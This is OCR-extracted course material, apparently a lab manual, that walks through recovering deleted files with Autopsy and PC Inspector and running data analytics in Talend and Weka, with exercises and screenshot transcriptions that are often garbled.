OPEN | EXTENSIBLE | FAST Close |

Then select "Create New Case."
A new window will appear asking to name the new case and select the directory where to store

your cases. Put the file "New Case 101" in the C:Cases base directory.
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M. MNew Case Information I.él

Steps Case Info

1. Case Info
2.  Additional Information

Enter New Case Information:

Case Mame: Mew Case 101
Base Directory: |c:fCases
Case Type: @) Single-user Multi-user

Case data will be stored in the following directory:

c:fCases\Mew Case 101

b

Click Next.
A new window will emerge, requesting the case number and examiner's name. Give it a case

number of 101 and the examiner's name or initials.

I" ™Y
M. Mew Case Information ﬁ
Steps Additional Information
1. Case Info
2. Additional Information Optional: Set Case Number and Examiner
Case Mumber: 101
Examiner:

=
W

[ Finish ][ Cancel ] Help

b

Select "Finish."”
Then, select "Add New Data" from the menu in the upper left corner. A popup labelled "Add Data

Source™ will appear. Select "Image File" and then browse to the image file you prepared in
Module 1 because we will be using the one from that module. In the screenshot below the copy is

in the location c:forensic pictures. It can vary from system to system.
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File View Tools Window Help
@ Close cas Add Data Source | [ji, | Generate Report (4 G» - KeywordLists Q Keyword Search

M Add Data Source

Steps Enter Data Source Information wizard (Step 1 of 3)

1. EnterData Source
Information

2. Configure Ingest Modules

3. Add Data Source

Select source type to add:  Image File HEd

Browse for an image file:

Browse

Please select the input timezone: | (GMT-7:00) America/Denver -

[] 1gnore orphan files in FAT file systems
(faster results, although some data will not be searched)

Press Next’ to analyze the input data, extract volume and file system data, and popuiate a local database.

Back Next > Finish Cancel Help

Add first image.dd.001 from the series' first instruction.

Select source type to add: | Image File -

Browse for an image file:

C:forensic images\firstimage.dd.001 Browse

Flease select the input imezone: | (GMT-7:00) America/Denver -

[] Ignore orphan files in FAT file systems
{faster results, although some data will not be searched)

Clicking next after adding the photograph will trigger Autopsy to start analysing it. Eventually a
screen similar to the one below will appear.
Click "Finish".
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File View Tools Window Help

@ Close Case = Add Data Source [l Generate Repart : 7

A © -kepardiss ‘ Ty e

LDEE

1 Reslts

24 Add Data Source
— —

-3 Data Sources Steps

J® views

1. Enter Data Source Information
B [E] Results 2. Configure Ingest Modules
i [B Extracted Content 3. Add Data Source
B+ A Keyword Hits
A single Literal Keyword

Add Data Source wizard (Step 3 of 3)

Data source has been added to the local database. Files are being analyzed.

4 Single Regular Express|||
% Hashset Hits
¥ E-Mail Messages
ol Interesting Items
& Tags

i Reports

Analyzing files from firstimage.dd.oo1 i 5% | W3

An interface similar to the one below will appear. Keep in mind that your data source should be
listed as "firstimage.dd.001".

File View Tools Window Help

f" Close Case E[::I Add Data Source | [jl; Generate Report

(12 ]
A > - Keyword Lists Gy Keyword Search
&~ Directory Listing @E} @
Data Sources 1 Results
a [ Table | Thumbnai
able i
= Views Thumbnail
E\--@ Results
B Extracted Content C 2l firstimage.dd. 001
L Keyword Hits
% Hashset Hits
E-Mail Messages
3¢ Interesting Items
&8 Tags
Reports
@4
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Autopsy will provide all type of files and the number of files in each category if “File Types" is

selected in the object explorer.

File View Tools Window Help

@ Close Case Add Data Source ||, Generate Report 1 A Keyword Lists Q; Keyword Search
< MDrechryotng | e
mages 977 Results|
@~ Data Sources - bl
G- views ~— | Table | Thumbnail
[=! 5: File Types Name Location Modified Time Change Time &1
Wimages (377) & Screenshot-1.png Jima_Firstimage.dd 001 fvol_wol2{Screenshot-1.png 2013-02-06 16:08:14 MST  0000-00-00 00:1 =
: Videos (207) & 5creenshot-2.png Jimg_Firstimage.dd.001 ol _wol2/Screenshot-2.png 2013-02-06 16:24:36 MST  0000-00-00 00
Audio (50] 5
i Archwis ()7) & screenshot-3.png Jimg_firstimage. dd 001 ol _vol2/Scresnshot-3.pg 2013-02-07 10:14:08 MST  O000-00-00 0041
2 Documents & screenshot-4.png Jimg_firstimage.dd 001 ol _vol2/Scresnshot-4. pg 2013-02-07 10: 14130 MST  O000-00-00 0041
& HTML(12) E Screenshot-5.png Jirig_Firstimage,dd 001 val_vol2/Screenshot-5.png 2013-02-07 10:14:54 MST  0000-00-00 00:1
: & Office (119) & screenshot-6.png Jirng_Firstimage.dd 001 /vol_vol2/Screenshot-6.png 2013-02-07 10:15:46 MST  0000-00-00 0031
PDF (81]
: Pl (T }t(ZS) E snapshot1.png Jirig_Firstimage.dd 001 wal_wolz/snapshatl.png 2013-04-05 12:35:44 MDT  0000-00-00 00:1
lain Tex
" Rich Text (3) | E Screenshot-9.png Jimig_Firstimage.dd. 001 wal_wolz/Screenshot-9.png 2013-02-08 15:23:26 MST  0000-00-00 00:1
£ Executable < I J '
-y Deleted Files | | | | | ‘
-MB File Size
-[E] Resuls
- [B Extacted Content
[# EXIF Metadata (24)
Extension Mismatch Detected (5)
5 Keyword Hits
i X Single Literal Keyword Search (1)
#-“%  Single Regular Expression Search (0)
-“4 Email Addresses (49)
% Hashset Hits L4
¥ E-Mail Messages
-2 Interesting Items .

nlyang s fom frsinoge 001 o+

All the deleted files can be seen by using "Deleted Files" option in the object explorer.

File WView Tools Window Help —

e Close Case Add Data Source | Generate Report

Directory Listing |
T Data Sources

o= Sourems
Table | Thumbnail

== views

- 2, File Types Mame
i E} " Deleted Files =l firstimage.dd.001
w File System (563)
W Al (53)
- MEB File Size

E—ZI@ Results

- B Extracted Content

e Extension Mismatch Detected {5)
Keyword Hits

“A. single Literal Keyword Search (0)

“L. sSingle Regular Expression Search {0)
Hashset Hits

E-Mail Messages

Interesting Items

& Tags

e | e Reports
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After clicking on “deleted files” some options will appear in lower right panel which may be used
to perform some analysis. Hex, Strings, File Metadata, Results, and Indexed Text are among the
tabs that appear. After choosing the "File Metadata” tab, the file's metadata, which includes the

name, type, size, updated date, and generated time, will be displayed (MAC).

File View Tools Window Help

@ Clos= Case Add DataSource [, Generate Report A" © -kemodiiss ‘ Qg Keyword Search ‘I
s [Drectory ot | rEE|
& oS Fie System 55 Resuls
ota Sources
@] views Table | Thumbnail
- & File Types MName Location Modified Time Change Time [ |
% Deleted Fies . _$868Fn1PRT Jima_Fistimage.dd.001 fvol_vol2/CEH forensicsiCHFTVB/CHFTG/_$86... 2013-12-20 03:57:32 MST  000-00-00 00
i--bel (o) . ~§Module 03 Searching and Jima_firstimage.dd.001 fyol_voi2{CEH ForensicsiCHFLV]CHETEj~§M. . 2012-12-03 14:45:36 MST  0000-00-00 00 =)
Al 68
MB be s‘zi ) ¥ ~8Module 15 Log Capturing and Event Cor fimg_fistimage.dd.001 fvol_vol2/CEH ForensicsfCHFIVBICHFTvE/~§M... 2012-12-05 14:05:06 MST  0000-00-00 001
Resdts . ~éModule 19 Tracking Emails and Investigatin fimg_firstimage.dd.001 fvol_vol2/CEH ForensicefCHFIV]CHFTVE/~§M... 2015-05-D1 08:20:34 MDT  0000-00-00 001
B Extractsd Content ¥ ~EModule 20 Mobile F e Jima_firstimaqe.dd.001 fval_voi2/ CEH ForensicsfCHELVEICHPIVEI~4M,.. 2012-12-07 L0:09:08 MST  0000-00-00 001
[~ EXIF Metadata (24) . ~&Module 02 Computer Forensics Investigatic /ima_Firstinage.dd.001 fval_vol2)CEH Forensics/CHFLYB{CHRLS -3 H1. OO0C-00-00 0011
re E""Z":': Vismatch Detected (5) M ~$Modie 03 Data Acquisition and Duplication|jimg_f = .
yword Hi
Single Literal Keyword Search (0) ¥ PP938s.mp Jima_firstimaqe.dd.001 frol_voi2/ CEH ForensicsiCHFLVE CHPIVEIRRE, . 0000-00-00 001 +
Single Reqular Expression Search (0) Lt i, | »
A Emal Addresses (78) Hex | Strings | File Metadata | Results | Indexed Text | ]
Hashset Hits "
- EMsil Messages Name /img_firstimage.dd.001/vol_vol2/CEH forensics/CHFIVE/CHFIvE/~$Module 09 Data Acquisition and =
Sk Interesting Items Duplication ppb
{83 Tags Type File System 1
. Reports
i Size 165 L
Pl Hame Unallocated
Allocation

Metadata Allocation Unallocated
Modified 2013-12-18 10°46:32 MST
Accessed 2013-12-18 00°00°00 MST

nayaing s from rstmege.dd.001 E o-|

Right click on the file to be recovered and choose export.

J’.é, = - S|

Savein: | || Export ] - E=EcFEA-

=
ey
Recent Items

Desktop
..-I
My Documents

. ™y

_—
Computer "

File name: —2Module 09 Data Acguisition and Duplication. ppH ]
Metmork  racn of eype: A i - -

Save the deleted file to the Export directory.

Navigate and look for the deleted or exported file;
C:\Cases\New Case 101\Export

[ L L

@ Q { | Computer » NewVolume(C) » Cases » NewCasel0l » Bxport
File Edit View Tools Help

Organize v {IF Open v Print E-mail Burn New folder
¢ Favorites *  Name Date modified Type Size
I % Downloads 3

| Recent Places

Ml Desktop ‘ ‘f‘ﬂ ~$Module 09 Data Acquisition and Dupli..  2/23/2016 11:46 AM  Microsoft Office P... 1KB|
RealPlayer Cloud ‘



Now, double click on the file to launch the proper programme. As forensic investigators, we are
aware that the deleted data can be retrieved until the point at which the file system overwrites
them. Recovery of these deleted data is simple using programmes like Autopsy and almost any

other forensic suite (Encase, ProDiscover, FTK, Oxygen, etc.).

Check your progress 2

a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

i) What are the findings of using autopsy for data recovery?

.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................
.........
---------------------------------------------------------------------------------------------------------------------
.........
.....................................................................................................................
.........
.....................................................................................................................

3.4 Let Us Sum Up

This unit covers the fundamentals of mobile forensics and data recovery using the autopsy tool.
This unit is focused on android forensics specifically,and SQLite analysis of blackberry
messenger. In the later sections, the data recovery using autopsy is discussed to make the readers

aware about the data recovery process.




3.5 Session wise- list of lab assignments

Now, try solving the problems related to mobile phone forensics and data recovery.
Session -1
b) Study about the fundamentals of mobile phone forensics.
Session -2
b) Use AFLogical OSE to perform mobile forensics.
Session -3
b) Study about the Andriller and perform the forensics on a dummy mobile phone.
Session -4
b) Use Android Data Extractor Lite (ADEL) to draw forensic flowchart from the database of
a mobile phone.
Session -5
b) Use WhatsApp Xtractto view the WhatsApp conversation on the computer.
Session -6
b) Perform data recovery using PCInspector on a USB pendrive.
Session -7
b) Perform data recovery using Recuva on a USB pendrive.
Session -8
b) Study about the hardware and software-based write-blockers.
Session -9
b) Use autopsy to recover the deleted items from a USB pendrive
Session -10
b) Compare the results obtained by autopsy and PClnspector.

3.6 Check your Progress: The Key

5. Below are a sample of findings of applying mobile forensics on the digital evidence.
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&8 -= ~ Page~ Safety~ Tools~ @~ LAt &
|
<?xml version="1.0" encoding="UTF-8" standalone="true"?>
- <packages>
<last-platform-version external="18" internal="19"/>
- <permission-trees>
<item package="com.google.android.gsf" name=" le.android. mission.GOOGLE_AUTH'"/>
</permission-trees>
- «permissions>
<item package="android" name="android.permission.CHANGE_WIFI_MULTICAST_STATE" protection="1"/>
| <item package="com.google.android.gsf" n2me="com.google.android.googleapps.permission.GOOGLE_AUTH.android" protection="1"/>
<item package="com.google.android.gms" name="com.google.android.gms.permission.GAMES_DEBUG_SETTINGS" protection="2"/>
<item package="com.google.android.gsf' name="com.google.android.googleapps.permission.GOOGLE_AUTH.orkut" protection="1"/>
<item package="android" name="android.permission.sec. MDM_APP_MGMT" protection="2"/>
<item p R h" nam ission.GET_REG_INFO" protection="2"/>
<item package="com.sec.android.gallery2d" name="com.sec.android.app.gallery3d.READ_PICASA"/>
<item package="android" name="android.permission.ACCESS_WIMAX_STATE"/>
<item package="com.sec.android.voltesettings' name="com.sec.android.voltesettings.permission. KEYSTRING" protection="18"/>
<item package="com.google.android.gm" name="com.google.android.gm.permission. WRITE_GMAIL" protection="2"/>
<item package="com.samsung.android.providers.context’ name="com.samsung.android.providers.context.permission.READ_CAPTURE_CONTENT"
protection="18"/>
<item package="android" name="com.android.browser.permission.WRITE_HISTORY_BOOKMARKS" protaction="1"/>
<item p R i oid" n. cs.serviceprovider.READ_PERMISSION"/ >
<item package="com.sec.android.app.sns3" name="com.sec.android.app.sns3.permission.RECEIVE_LINKEDIN_BROADCAST" protection="18"/>
<item package="com.sec.android.app.voicerecorder’ name="com.sec.android.app.voiceracorder.service. RECORDER_CALLBACK_PERMISSION" protection="18"/>
<item package="com.qualcomm.qcom_gmi" name="com.qualcomm.perm n.ACCESS_QCOM_QMI" protection="2"/>
<item package="com.skyfire.browser.toolbar.att" name="com.skyfire_browser.toolbar_permission.START_TOOLBAR_SERVICE" protection="18"/>
<item p R droi y3d" name=" droid. y3d.WRITE_PICASA"/>
<item package="android" name="android.permission.WRITE_DREAM_STATE" protection="2"/>
<item package="com.google.android.apps.plus’ name="com_google.android.gallery2d.permission.GALLERY_PROVIDER" protection="2"/>
<item packag id android.permission.GET_TOP_ACTIVITY_INFO" protection="2"/>
name="android.permission.START_ANY_ACTIVITY" protection="2"/>
2"/>
n.GOOGLE_AUTH.doraemon" |zbel="Google Catalogs" M
>

File View Tools Window Help

@ Close Case Add Data Source | ik Generate Report N © - Keyword Lists Qi Keyword Search

Directory Listing N
a Data Sources 1 Results|
asara Table | Thumbnai

Results
B extracted Content C 2 firstimage.dd.001

X Keyword Hits
% Hashset Hits
| E-Mai Messages
S Interesting Ttems
(81 Tags

“ Reports
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HANDS ON OPEN SOURCE DATA ANALYTICS AND RECOVERY TOOLS

Structure

4.0 Introduction

4.1 Learning Outcome

4.2 Introduction to Data Analytics
4.2.1 Data Analytics using Talend Studio
4.2.2 Data Analytics using Weka

4.3Data Recovery using PC Inspector

4.4 et Us Sum Up

4.5 Session wise- list of lab assignments

4.6 Check Your Progress: The Key

4.0 Introduction

Data analysis tools are the specialized softwares used by data scientists. These software may create
databases by combining massive datasets from several sources. However, a lot of data systems are
user-friendly enough for everyone. Data analysis is done by data platforms to provide information
about the company process. The outcomes of data analysis assist in forming next company
selections. Data visualisation is one of the key components of data analytics solutions. Ordinary
consumers cannot go through reams of code and comprehend what is happening. Data is
transformed into a variety of graphs, charts, and other graphic representations through data
visualisation. It should be simple to set up and use data visualisation. Users may select the data
sets and variables for generating graphics by dragging and dropping or by pointing and clicking.
To view the changes, simply update the details. A real-time data updating is also possible with
data visualisation. This works well when it is presented to the group of people, in an official
presentation. They can see the underlying facts reflected in real-time visualisations.

In this unit, two tools are used for performing the data analytics i.e. talend and weka. Talend
provides a variety of technologies for data mining and cloud-based data integration. It links
information from over 900 sources, such Salesforce, Azure, AWS, and Marketo. It takes relatively
little time to set up data warehouses and create data lakes. Complicated relational databases are
handled by Talend. loT analytics and large data processing are both possible with machine
learning. Additionally, Talend provides a tonne of free add-on tools. Some of them speed up ETL
operations. Another feature is a quick data loader.

Moreover, in the second section of this unit we have explained the PC Inspector, Users may
recover lost or damaged data from their personal PCs with the PC Inspector File Recovery system.
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Many of its features are shared by other packs like TestDisk and Recover My Files. This software,

nevertheless, is categorised as freeware. The cost to download will not be incurred by the user.

4.1 Learning Outcome

This is the fourth unit of this course, which seeks to introduce the concept of open source data
analytics and recovery tools. This unit covers the introduction to data analytics followed by the
hands-on labs using tools like talend and weka for the data analytics. This unit also covers the data
recovery by taking the case study of PC Inspector tools, which is a freeware and is used for
recovering the deleted files.

4.2 Introduction to Data Analytics

As it is utilised to uncover hidden information, develop reports, conduct market analysis, and
enhance business requirements, data analytics plays a crucial part in enhancing a company. The
term "data analytics" describes the methods used to analyse data in order to increase productivity
and financial benefits. In order to examine different behaviour responses, data is taken from a
variety of sources, cleaned up, and classified. The methods and resources employed varies
depending on the group or a person. Data analysts transform numerical data into everyday
language. By gathering data on certain subjects, interpreting, analysing, and presenting results in
thorough reports, data analysts add value to their organisations. Therefore, to become a data
analyst one must have the capacity to acquire data from multiple sources, evaluate that data,
discover hidden information, and produce reports. The actions taken with the data and the results
produced are two important ways that data scientists and data analysts differ from one another. A
data analyst will look to solve particular issues that have previously been recognised and are well -
known to the company. In order to achieve this, they analyse enormous databases in an effort to
spot trends and patterns.
4.2.1 Data Analytics using Talend Studio
Talend Open Studio is a free open source ETL (Extract, Transform and Load) tool sor Data

Integration task. It can be downloaded and installed from http://www.telend.com/Ip/open-studio-

for-data-integration/
Step 1: Launch Talend Studio.

Step 2: To select an existing project, select the project name from the list and click on Finish. OR
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@) Talend Open Studio for Big Data x

On connection:

S - 4
° talend {g‘) = “‘@." lLocal (Local) | ~ Manage Connections
(® Select an existing project

A NDDe -~

- C [ first1 - java
first - java
10 o Local Project - java D
R O D ats (O Create 2 new project

O Import a demo project

(O Import an existing project

23

[ Always ask me at startup
To create a new project after the initial startup of the Studio, do the following:
1. On the login window, select the Create a new project option and enter a project name in
the field
= = = | E I‘l

On connection:

{Local (Local) v:l E Manage Connections :I

) Select an existing project

@ Create a new project: project_bd

Import a demo project

2 Inmmport an existing project

[#] Ahwvays ask me at startup
2. Click Create to create the project. The newly created project is displayed on the list of

existing projects.

3. Select the project on the list and click Finish to open the project in the Studio.

Step 3: To start a job, do the following:

1. On the main window right click on job design and select the create job option.

2. In the new dialog box, enter the job descriptions like name, purpose, Version etc. and click

on Finish button.
3. In order to read an excel file, choose the option metadata from repository and select excel
file.
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Right click on the excel file option and select Create File. Write name, purpose and click

Browse the file to be read. Once done, the list of sheets and preview of data is displayed at
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6.

Enter First column number and make that header and click next. The metadata will be

displayed. Now, Click on Finish and metadata will be displayed on Repository panel.

7.

file. Select Input File and click OK.

8.
9.

Select Row and Main and drag it to the tLogRow component.

To read the file add a component called tLogRow_1 on the working panel.

Drag and Drop the metadata on the job panel, it will ask that whether it is input or Output

To link the inputfile component with tLogRow_1 right click on the inputfile component.
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10. To pass the data to other file drag the outputfile component towards the right side
component panel.
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11. To link the tLogRow_1 component with outputFile right click on the tLogRow
component. Select Row and then Main and drag it to the outputFile component.
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a) Space is given below for writing your answer.
b) Compare your answer with the one given at the end of the unit.

Check your progress 1
Note a) Space is given below for writing your answer.

¢) Compare your answer with the one given at the end of the unit.

i)Discuss the findings after performing data analytics using talend studio?

4.2.2 Data Analytics using Weka
Weka is open source software issued under the GNU General Public License. It contains a
collection of machine learning algorithms to perform several data analysis and visualization tasks.
Input to Weka must be formatted using the Attribute-Relation file format and must have filename

extension as .arff. It can be downloaded and installed from http://sourceforge.net/projects/weka/
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Objective: To Generate Decision Tree (C4.5) using weka
Step 1 : Open the Weka GUI chooser and click on explorer.

Step 2: While installing Weka, several datasets are loaded in the data folder of Weka. To select
pima diabetes dataset from data folder, click on open file and select diabetes.arff. Now, click on
the open tab to load the data.

< Weka Explorer - =
Visualize FParallel Coordinates Flot Visualize 2D Forecast FProjection FPlot
Preprocess Classify Cluster Associate Select atiribute s
[ oeenfie. ]| openurL.. || openDB. || Generate. ] Undo Edit.. Save.

Lookn: |[Em oata B3] ar [ E( =
Y| airline.arft [ “] credit-g.arff | iris.2D.arff “| Reutersc L Invoke options gialog
7| breast-cancer.arff |: || diabetes arff T iris_arfr U Reutersg
‘| contact-lenses arff [ " glass.arff Y| labor arff segment, Mote:
cpu.arft hypothyroid. arff Reuters Corn-test.arff segment! oo mle formats offer additional
71 cpu.with.vendor.art " ionosphere arf "] ReutersCorn-train.arft "] soybean.| options which can be customized
when invoking the options dialog
- » 7 -
File Mame diabetes.arff
Files of Type: | All Files ]

Remove

Status

welcome to the Weka Explorer Log i <

Step 3: Click on the classify tab and choose j48 from the decision tree option. Now initiate the
classification using the start button.

Step 4 : Result displays the confusion matrix and other statistical measures
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Aim : To Generate two clusters using k-means clustering algorithm
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Step 1: Select the sepal dataset from weka data folder and click on the open tab to load the

iris.arff data set.

L] Weka Explorer = =
Visualize Parallel Coordinates Plot Visualize 3D Forecast Projection Plot
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Step 2 : Select the cluster tab and choose SimpleKMeans option to perform K-Means clustering.

Now, click on start button.



@

Visualize arallel Coordinates ualize 3D Forecast Projection Plot
I Preprocess Classify | owster | Associate | Select attributes |
JCIT AaBbCel AaBbCcI AaBh( AaBbCcl AaBbCel
Clusterer
Normal Strong Subtitle Title T No Spaci. Subtle Em... -
v (& weka 0 -periodic-pruning 10000 -min-density 2,041 -1.25 42 1.0 -N 2 -A"weka.core El.| Styles

(& clusterers

Canopy Clusterer output
BT

CascadeSimpleKMeans

3 [=]

[ cobweb

EM

FarthestFirst
FilteredClusterer

HierarchicalClusterer
MakeDensityBasedClusterer

SelfOrganizingMap

Cluster data using the k means algorithm

Gan use either the Euclidean distance (default) or the Manhattan distance. If the Manhattan distance is used, then cenlroids are computed as the component-wise median rather than
mean. For more information see:

D. Arthur, S. Vassilvitskil: k-means++ the advantages of carefull seeding. In: Proceedings ofthe eighteent annual ACH-SIAM symposium on Discrete algorithms, 1027-1035, 2007.
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Step 3 Result of K-means Clustering will display the centroid of each of the clusters.
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Aim : Apply apriori algorithm using supermarket data set
Step 1: Open Weka explorer and load the supermarket dataset.
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Step 2 : choose the Apriori option from Associate tab and then click on start button.

Step 3 Result of Apriori Algorithm
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Aim : Implement Informaiton Gain feature selection algorithm
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Step 1 : Select the data set
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Step 2 : Choose the select attribute tab and select the attribute evaluator and search method by
clicking on InfoGainAttributeEval.

process | Classity | Cluster | Assaciate | Selectatiributes | Visualize | Parallel Coordinates Plot | Visualize 3D | Forecast | Projection Plot
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Step 3 : Result of the feature selection
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Space is given below for writing your answer.

a) Compare your answer with the one given at the end of the unit.

Check your progress 2

Note:a) Space is given below for writing your answer.

b) Compare your answer with the one given at the end of the unit.

i)List and describe the findings on applying K-means clustering and decision tree on the diabetes

data set using Weka?
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4.3 Data Recovery using PC Inspector

Crashing of hard drive is an annoying issue. However, the file allocation table, which holds
filenames and refers to data on the disc, is typically what is lost when a hard drive crashes rather
than the data itself. Consequently, if you have the right tools and the right conditions, it is
technically feasible to recover data. PC Inspector File Recovery is a data recovery application
which can be downloaded for free. It can be installed in Windows to recover the lost data on any
partition on a device other than C. Install the application on some other computer and connect the
damaged hard drive as a secondary drive on that machine if the complete hard disc is broken and is
unable to boot.

1. Launch the Program

Select English as the language when PC Inspector File Recovery is launched, and then click the
green "tick" button. By selecting one of the three options to the left, select the type of data be

recovered. In case of Lost Data, go to step 6 or go to step 8 for Lost Drive. Click the symbol in the

upper left in order to recover deleted data.

Welcome to PC Inspector File Recovery

ile Redewery ! a2 T TS S - B S 0N 20 oy

("' Recover deleted files %
O Select logical drive
O Select your files in folder ‘Deleted”

O Save your files

Find lost data
i (f data is lost due to quick-formatting. system crash. etc.)
© Select logical drive

©O Find lost data
©O Select your files in folder "Lost’
O Save your files

& Find lost drive

(if the drive letter is lost or the drive is inaccessible)
© Select physical drive

© Find logical drive

O Select your files in folder "‘Root”

© Save your files

2. Select the Drive

The application will take its time searching the hard disc for any accessible partitions before
displaying them. Very likely, the Logical Drives tab will allow you to choose the drive. Pick the
entry that contains the drive's letter if it appears twice. Select the Preview button to see the

contents of the drive. To move on to the following stage, click the tick button.



INSPECTOR"™

I:ilL‘ Select drive

Notice: Select a logical drnive to recover data.
f=1 info logical drives on an exulmgph’ ' 3

(_Losicaldive Shysical dive .
Windows on fixed disk #1
Data on fixed disk #1
Aschive on fixed disk #1
T e ——fndlogedidives. @
NO NAME on removable disk #3

Windows on Windows drive C: .
External on Windows drive D: ﬁllili n es .
Data onWindows drive E:

Aschive onWindows drive F:

&
=
\ NO NAME  onWindows drive |-

3. Sniffing Out Deleted Files

The chosen drive will now be examined; this process might take a while. The Recycle Bin symbol
will be displayed alongside a Deleted folder. To find the files to be restored, search through this
folder. It's possible that the actual filename was changed. To search file: choose Object > Find,

specify the file type, and then click the green search button.

INSPECTOR”™
File

P Folders ~ /Content of 'Deleted"
y = (1 Root Name | Size
- & EEEEE @3 _ININT 05.08.2009 13:50
+ _ININT _MAGES 05.08.2009 13:52
@@ _MAGES _MDCONS 05.08.2009 13:52
: —:ggc'”ss _ROGRAMS 05.08.2009 13:52
RAM Recycled 30.03.2009 21:12/

_EFAULT 2048 15.10.2007 14:18
_ENU.LST 2777 19.03.2008 21:25
INBOM.INI 167 02.12.2007 22:30
MLOAD.COM 1856 15.10.2007 14:18
RLDR 1859839 15.10.2007 14:18

LR
e
¥
PEREFEEEEEELLRRD

_RLDR.MBR 8192 15.10.2007 14:18/
_RUB.EXE 202405
_RUBINST.EXE 35486
_TDETECT.COM 47564
_TLDR 260272
B iogo.xpm. gz 65146
B logo-grauxpm.gz 61634

| via_stine rkes vooasp 1659164

4. Recovering the File

After the search is complete, a list of files that match will be displayed. The Size and Date
Modified columns might be used to assist locate the file being searched for if it doesn't show up
(assuming you know these details). To organise these columns properly and make it simpler to
find the file, click on the top of each one. Keep clicking on the potential candidates while holding
down the [Ctrl] key to choose them. Right-click on them while holding [Ctrl] down, then select
Save to. Decide on a place.
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INSPECTOR™ g |
File Re< Select Directory... = » uct

£

|& back
! @D‘:kl::p v *

+ L) My Documents %
&2 1= j My Computer
+ &4 My Network Places The data to be written is determined
#/ Recycle Bin via corresponding clusters from:
=

+ ) ubcddwin Ino FAT (consecutive) LI
Note: Select 'no FAT' if data has
been deleted or drive has been
quick-formatted!

Di C:AD and |
Settings\Admini Deado\ Bk @ }
NSSCTOR

IE via_thine_ndiss_v384a.zip 1639164 14.oazm14;3§"

@0 /8 S |/mR

www pcinspectord

5. Check and Rename

Attempt to access the files after they have been restored to determine whether they are the ones
being searched for. Once done, you may give them their original names and later copy them back
to their original spot. Go to PC Inspector File Recovery and attempt search again if the files are
not found yet.

6. Find Your Lost Data

Data can occasionally be lost as a result of a fast format or a system or software crash. In these
circumstances, select the Lost Data button (the middle button on the left) from PC Inspector File
Recovery's home screen. In this situation, data is recovered in a manner akin to that of deleted
files. When the Select Cluster Range dialogue box displays, select the drive from the list of logical
drives by clicking on the tick icon. It will take a little time to identify the files that need to be
retrieved.

7. Retrieve the Lost Data

Observe hundreds of "lost" files—many of which are fragments—have been recovered by PC
Inspector File Recovery. Going through them all will take a lot of time, but it will be worthwhile
since important files may be recovered. To find a file and verify its integrity, repeat steps 3 to 5.

8. Find the Lost Drive

One might not be able to see any drives from the impacted hard disc in the list of logical drives if
the partition table has been compromised. It need to be searched manually. Select the hard drive,
which is typically referred to as fixed disc #1, by clicking on the Physical drive tab in the Select
Drive box. To find logical drives, choose Find.

9. Search within Clusters

If the physical location of patition on the disc is known, the sliders may be used to narrow the
search to that area rather than scanning the whole drive for missing drives. When the search is
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finished, click the tick button again, and then choose the logical disc to recover your files or
folders (as explained in the previous steps).

4.4 Let Us Sum Up

This unit covers the fundamentals of mobile forensics and data recovery using the autopsy tool.
This unit is focused on android forensics specifically, and SQLite analysis of blackberry
messenger. In the later sections, the data recovery using autopsy is discussed to make the readers
aware about the data recovery process.

Check your progress 3

What are the findings of using PC Inspector for recovering the deleted data?

.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................
.........
---------------------------------------------------------------------------------------------------------------------
---------
.....................................................................................................................
.........
.....................................................................................................................
.........
.....................................................................................................................

4.5 Session wise- list of lab assignments

Now, we try solving the problems related to data analytics and data recovery.
Session -1

c) Build a Data Warehouse and Explore WEKA.
Session -2
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c) Generate a Decision Tree (C4.5) using weka.
Session -3
c) Apply apriori algorithm a supermarket data set.
Session -4
c) Implement Information Gain feature selection algorithm on an appropriate dataset.
Session -5
c) Demonstrate the steps to perform Regression on a data set.
Session -6
¢) Demonstrate the steps to perform classification on a data set.
Session -7
c) Demonstrate the steps to perform clustering on a data set.
Session -8
c) Perform data preprocessing and demonstrate the steps to apply association rule mining on
an appropriate data set.
Session -9
c) Generate two clusters using k-means clustering algorithm.
Session -10
b) Explore the functionality of talend.

4.6 Check your Progress: The Key

1. Below are a sample of findings of performing data analytics using talend studio.

a @i e
i ik ] T Rt
@ |l =

2. Below are the screenshots of the findings:
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